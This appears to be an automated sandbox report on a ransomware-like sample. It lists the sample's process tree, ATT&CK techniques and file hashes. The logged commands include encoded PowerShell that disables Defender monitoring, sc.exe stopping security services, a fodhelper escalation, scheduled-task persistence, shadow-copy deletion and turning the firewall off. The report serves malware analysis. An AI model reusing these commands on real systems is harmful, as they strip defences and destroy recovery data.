C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5880
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5888
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4852
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1792
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5612
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5028
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5428
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5728
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5500
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe"3⤵PID:712
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5304
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5900
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4448
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1480
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:352 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3400
-
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5728
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2932
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5976
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2416
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5740 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3928
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4580
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6044
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4624
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4784
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:696
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2576
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4428
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5300
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a1f855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2860
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:2580
-
C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe1⤵PID:972
-
C:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\xoilactvzqb.com_hyber.exe1⤵PID:3116
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2696
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:704
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 611c2ebdd118456c209cd9c09de323138b024b4dc50fc2cf1d768544038752f8
- MD5 3a6620fba976e51f0f12a2af6bf22779
- SHA1 5209fa98d5b94001bece3e51ed8d16833fd33f71
- SHA512 1fcb1738fb6876c0b0d96d8f9027fc734e743dd5e75d22db48ed2ae0696c1e7793fdd2d54c4a516fabda3fe112502323b75142fe4459e9e4ceafe2eca12d26ba
- SSDEEP 1536:C2Rveo0zwn1+7cRMa3EJIsjDCQ+9/FBJA8ezply9ueJzRBDEI8btse87Bj:CgvQzwnA81EljDOqzpl6uUzRRl8btsey
- TLSH T1666329334A23FDC5677F3D80E06429810C883A6747B5A778FBC909A93DA5688DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmd02etk.do1.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 246B
- SHA256 088d4da8b5c67074c396412b7bb38fe000905d98c7c4e8eda8ea2376f7a44922
- MD5 0954ee9edbf78691dd077027ed65b548
- SHA1 ce08a33963a9648d73a50cb8bd50b164d4ca52a7
- SHA512 2b1ebf060dbf8d43a6d63f0b811fc5a0f854393c4e95ff91831d59bf12a601ccca75bffad31f3247e594f62119233e20634c3c0425d5c29e2d4f2c1ce45964d2
- TLSH T1FDD0A54FB14DC5790001127781F3CD4CD5A5485C3717BEE446D5DD4D31908C54DF5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 247B
- SHA256 6359bfb0580eb7d1f8c0951f918100b4bbf14506a8692af24aa7c34e8ef7fe43
- MD5 2dc143964d243be96806b9efa0704298
- SHA1 cac59d1af42124b97724f70d8ad8c39cbe1a9aab
- SHA512 533413c97b21ecd07614a02fa86a7c4b5fa1252f2f9f462d15c174223c84d1251c0e2aa7aa156116316b576320c54aac95048f1e7a0ef20ce93fff1fc412075a
- TLSH T1C4D0A58FB14DC5790001127B80F3CD4CD5D1485C3B17BEA456D5DD0E32808854DF5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 5ce1dc639322be88e1ce1311c564afbd0f84918a7b0463c9100521a9efa81926
- MD5 9478ac49cc96f62d4fd0835fcd223cb1
- SHA1 8f383e15b3d9dcc74e1eb8fe8ea8a9a65e4ffb74
- SHA512 5c22359b4783bad4fcd9b431070267e10b5f0f0962e8c7d385d5ea7195cfe2891f38da176609dde851fdb647f79c942252dd0b1a48d93794c482b6c4af83726f
- SSDEEP 1536:i2Rveo0zwn1+7cRMa3EJIsjDCQ+9/FBJA8ezply9ueJzRBDEI8btse87Bo:igvQzwnA81EljDOqzpl6uUzRRl8btse7
- TLSH T1D4633A334A23FDC5677F3D80F05439811C883A2747B5A778FBC909A939A5688EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 badf074bde6aa05e09bf0cec83690fa33cd6bd44711d3bf9a001e78f36f543d6
- MD5 041ed5346211c7772ae541b1790225d8
- SHA1 9078957cdc65e3a23d36223d86c80861704d7341
- SHA512 41d200e2673a41cc0b501fae0a5b41082c0b61141394ed0753601ebb80a6d0ff9fdc112a0151fbf14847543f5bd6ffb300c83cd610e332739f1bb47de0cf5e73
- SSDEEP 384:pFrb51vIFF66z9S0huAozGYKg+9wFfYZ2PLIEcR1gEfTo7NNQQSb7RQH9iUXFdx9:7rVZZ6zs0hZ7wkQqQ/NKPzfX/ffH4/
- TLSH T1F633064977ED4525E2BF4ABE89B291118731F4639C23DB8D1AD8459E09F3700CCA8F6B
- MD5 SHA1 SHA512 SSDEEP TLSH